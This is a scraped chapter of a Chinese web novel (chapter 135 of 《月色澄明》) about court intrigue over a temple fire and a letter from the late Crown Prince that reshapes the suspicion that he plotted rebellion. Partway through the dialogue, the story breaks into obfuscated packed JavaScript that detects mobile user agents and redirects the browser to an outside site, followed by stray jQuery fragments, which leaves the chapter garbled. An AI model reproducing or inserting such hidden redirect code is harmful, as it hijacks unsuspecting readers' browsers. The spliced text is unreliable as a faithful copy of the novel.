默认冷灰
24号文字
方正启体

135.月色澄明

作者:南华侍酒本书字数:K更新时间:
    两天后,万诗坛起火一事,被涂抹简化后的真相大白于天下。大理寺给出的官方解释是,因为小张与江哥二人有矛盾,导致小张想换队到小涂那里,而江哥不同意。小涂与小张联手,想将江哥一队玩忽职守一事公之于众,谋划了万诗坛纵火案。由小涂带燃料,小张点火,果然江哥救火不及时,导致万诗坛被焚毁,罪魁祸首麻将被从河中捞出,侧面证明江哥一队失责之至。


    朝廷上下配合着一片唏嘘,纷纷表示没想到因为三个朝廷最底层人的个人恩怨导致给皇帝祝寿的建筑与诗文被焚毁。鉴于小张已然玩火自焚,小涂畏罪自裁,余下一个江哥,判斩立决。


    没人敢提如此二人是怎么把足够引燃柏木的檀木带进万诗坛的。


    没人敢提死在万诗坛里的喻辰是怎么回事。


    没人敢提起丢失的《东方太平论》。


    没人敢提几个皇子都曾说自己受邀到万诗坛。


    万诗坛南广场燃烧的秦昭反诗也被当做太子东海显灵之后的又一次灵异事件,成为人们茶余饭后的谈资,随着四溅的唾沫和轻视秦昭的眼神一并消失在虚空。


    人们的注意力很快就聚焦在即将举办的围猎之上。


    赵鉴在京郊别院气得拍桌子,急促道:“我就说吧!法上有人!我和杜卿自然愿意一查到底,谁知那易司正直接把杜卿堵住要他移交案卷!我才进京多久!谁知道这类事件到底有多少!”


    “杜卿也知道了是七皇子和巡南侯干的?”秦昭忽略了赵鉴对既往之案的质问,对杜晦庵的反应感到稀奇。


    “对啊,我本以为他胆小怕事,没想到他果然也是条汉子,”赵鉴又拍了一下桌子,惊得窗外乌鸦飞起一片,“他把案卷交给易秋白时攥得死紧,手都在抖。”


    秦昭摇头叹息:“看来想给我们秦家当清官,不是汉子不行。小涂江哥二人无论罪名对不对,到底都是死有余辜。可惜了小张,只是个老实孩子。”


    说到这,她想到眼睛亮晶晶的郑忠,那也是个老实孩子,但是平白的把自己的前途性命交到自己手里。紧接着又想到叶长年问她不夺嫡吗,心头一梗,更深地吸了一口气,半晌才缓缓吐出。


    赵鉴感慨半晌官场污浊后,不得已再次回去当差。


    秦昭则翻出太子案卷,仿佛要把它给盯出个窟窿——皇帝给了太子案卷一事,秦昭先给晋竹影说了,但二人研究半晌实在不想相信,又不知道该如何是好,于是秦昭这边告知左仆射与黎江,晋竹影那边则告知横舟与焦长老,都盼有人能提出什么能否决掉这本案卷的信息。


    但一切都归于沉寂,无论哪边,都没有新进展,也没有新信息传递回来,只有晋竹影和藏锋阁与三皇子的仇怨还在如火如荼。


    当天晚上,却有两个人破天荒来到京郊别院,一是横舟,另一则是已经假死的黎江。


    秦昭见到黎江十分震惊,猛地扑上去抱住他,将脸埋在他肩头,像小时候摔了受委屈了找黎江要安慰一样,似乎眼睛被黎江的肩头挡住,眼前一片漆黑,黎江就可以替她解决掉所有困难。


    黎江感慨万分,还没待他好好体会这师徒之情,秦昭又猛地把他推开,皱眉道:“太危险了,你怎么回来了?不是说让焦长老保护你吗?焦长老呢?”


    “在这,”一人声从门外传来,“这就来拜见公主殿下。”


    秦昭抬眼望去,只见晋竹影与一位面容俊美的中年男子并肩走进来。


    秦昭一怔,片刻后开始不合时宜着思考到底什么词能用来形容焦长老的样貌。自己师父黎江已然硬朗帅气,横舟和晋竹影则是更一分的好看。如今眼前这位焦长老,剑眉星目,鼻子与嘴却秀气得小,面色血气不足,看似病弱,但温和眼神背后是不掩藏的犀利与坚定,好一个谦谦君子。


    他走进房间,好像时间都慢了半拍。


    若不是时机不对,秦昭简直想感慨藏锋阁收人的标准到底是不是看脸。但这荒唐念头只持续一瞬,秦昭突然意识到眼前这位是太子的亲舅舅,故皇后的亲弟弟,下意识弓身行礼,被他赶前一步扶起。


    晋竹影看到秦昭的神情,心底不悦,打断道:“这位就是焦长老,也是我的师父。我给他们写信求证太子案卷真实性,他几位都说光听口述容易有纰漏,必须要亲眼看一下案卷内容。”


    秦昭乖觉把案卷递出去,横舟与黎江对视一眼,又用胳膊肘互相捣了几下,似是有话要说,但谁都不想开口。终是黎江被推上前来,试探问道:“这么多年,我们一直以为太子出事当晚藏锋阁那二十来个不见的兄弟是叛逃了,如若案卷为真,则那些兄弟是为了保护太子而死,那被除名的那些兄弟,是否可以恢复名分?”


    焦长老没理他,沉默翻着案卷,片刻后抬头看向秦昭:“案卷内容和我当年的猜测相差无几,这其实就是我当年离开藏锋阁的理由。”


    在场众人纷纷震惊,焦长老离开藏锋阁本是一件讳莫如深的事,没人知晓具体原因。有人说太子死了焦长老心灰意冷,也有人说焦长老看自家势力无望继承大统所以离开,更有甚者说焦长老背叛了太子。由此还引发过几次内部斗争,后来晋竹影就下令谁都不许再提焦长老离开一事。纵是晋竹影和横舟对焦长老的人品很信得过,多次邀请他回到京城共同支持三皇子大业,他也只礼貌回绝,只提供一些见闻类的帮助,比如写着皎月凉介绍的纸条,就是横舟从焦长老那里要来的。


    如此多年避而远之,他前不久却突然联系晋竹影,表示自己会回来。


    大家本以为焦长老能说出什么驳斥的话来,没想到竟是赞同案卷的。


    “原本朝廷已然给出解释,我也不想再提我所知晓的事……当年太子出事之前,与镇北王有过几次交游……”焦长老话说到一半,横舟终于忍不住抢断道:“我和黎江其实怀疑镇北王跟三皇子有勾结!我们当年跟太子汇报过,但是他并未理睬我们。”


    焦长老摇头苦笑:“他理你们就怪了,镇北王约见的是太子,但确实让三皇子帮忙递过信。”


    见众人不解,焦长老继续道:“镇北王从来对皇帝不甚满意,恰逢当年太子查案引得朝中人人自危,便有歹人传言皇帝要另立太子。镇北王借此机会接触太子。我知道他二人曾经多次相约见面。”


    秦昭神色一紧,忙追问:“什么时候?”


    “快过年那一个来月。”


    秦昭闻言神色一凛,立刻跑出书房,片刻后拿着从东宫曹小官儿那里取回的太子起居,翻看给众人看:“腊月二十九,太子行色匆匆出门,而后就一直都不高兴,正月十五这一天的太子行踪没有人记录,只知晓他晚上去参加了宫宴,但一整白天在做什么都不清楚。”


    “腊月二十九,他先见镇北王,而后见了我,”焦长老沉声道,“他当时与我讲了镇北王带了兵入城。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351752|157655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那你……怎么说?你去告发了?”横舟不可思议道。


    “怎么可能?”焦长老苦笑,“我让太子不要再理镇北王,他若真起兵谋反,我们布下天罗地网抓他就是。”


    “但是太子……坚持要与镇北王见面是吗?他有给你解释具体原因吗?”横舟艰难问道。


    焦长老摇头:“我派人去跟,又派乌鸦去跟,都被太子避开。当时太子身边是藏锋阁慕连天,雍朝第一高手,想不让谁跟踪,谁就万万不能跟踪。”


    “所以,你觉得太子去见镇北王,是为了伙同他一道谋反。”秦昭艰难道。


    “我原本觉得白虹不会支持他,至少会作壁上观,没想到白虹三番五次去见镇北王,我们也发生过激烈争吵,他不要我插手此事,反而只与慕连天同进同出,”焦长老摇头叹息,没什么表情道,“姐姐死后,他是我在世上唯一的亲人,却突然性格巨变,搞得我心灰意冷,这是我离开藏锋阁的最主要原因。”


    话音落下,窗外一声惊雷,震得人不再说话。


    “那你为什么会回来?”半晌后,晋竹影不解问道。


    “我原本认为这世间的纷扰忧虑都是人自取其扰。人活百年,生而无凭死而无碍,为这人世间的功名利禄人情冷暖执着一生实在无趣,不如飘忽天地间,随风似羽飞。什么是非真假,比起自在逍遥一生来说,又有什么重要!我很不想理白虹这一案,但是,”焦长老话锋一转,“死掉的人着实太多,我又看不下去这么多人在为着无妄之事送命。尤其是秦昭,她很像秦白虹,我记得。”


    秦昭愣怔,突然心中一紧,没想到焦长老再次入局还是有她的缘故。


    “不对,我不信,”横舟否认道,“你不能因为跟太子置气就认为他谋反,你亲眼见到他谋反吗,就不能他是与镇北王去讨论国事?”


    焦长老无言望向横舟,沉默半晌,拿出一封信来。


    信封由于多次拆合已经破损,里面的纸张薄如蝉翼,正是晋竹影常用的那种信纸。


    “太子元宵前一天给慕连天的信,叫他在宫中埋伏,被我截住复制一份,想去劝诫太子,他却闭门不见,而后我便离开京城,想着任由他成王败寇,谁知再回来时太子已然出事了。”


    众人无言。秦昭皱眉看向焦长老,突然间开口道:“你离开藏锋阁不仅是因为觉得纷争没有意义,而是对太子之死很自责,现在回来帮我们也是因为自责吧?”


    焦长老一愣,浑身不自觉打了一个冷战,手哆嗦一下,震得薄脆信笺甩出轻响。


    几人都是习武之人,这些纤毫动作随着焦长老被说破的心事半分不差地落在众人眼中。


    秦昭没再说话,接过信纸,逐字逐句看着太子给慕连天写了什么,秦白虹要他在元宵节当日,于烟花落尽时戊正时进宫埋伏。


    秦昭猛地抬起头,目光炯炯直视晋竹影,脊背发麻。旁人不知怎么回事,只得愣神着看晋竹影把信纸接过去看。


    “烟花落尽戊正时,烟花落尽……”晋竹影口中喃喃道,眯起眼睛与秦昭对视,眉间皱成山川,但嘴角逐渐浮现微笑。


    元宵节当日,因为镇北王与礼部勾结修改烟花燃放时间,实际上是放到了子正之时,这是镇北王谋反的最关键环节之一。


    太子不知道这件事。


    他没有同镇北王谋反!至少叫慕连天在元宵节这一天进宫,不是为了帮镇北王谋反!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)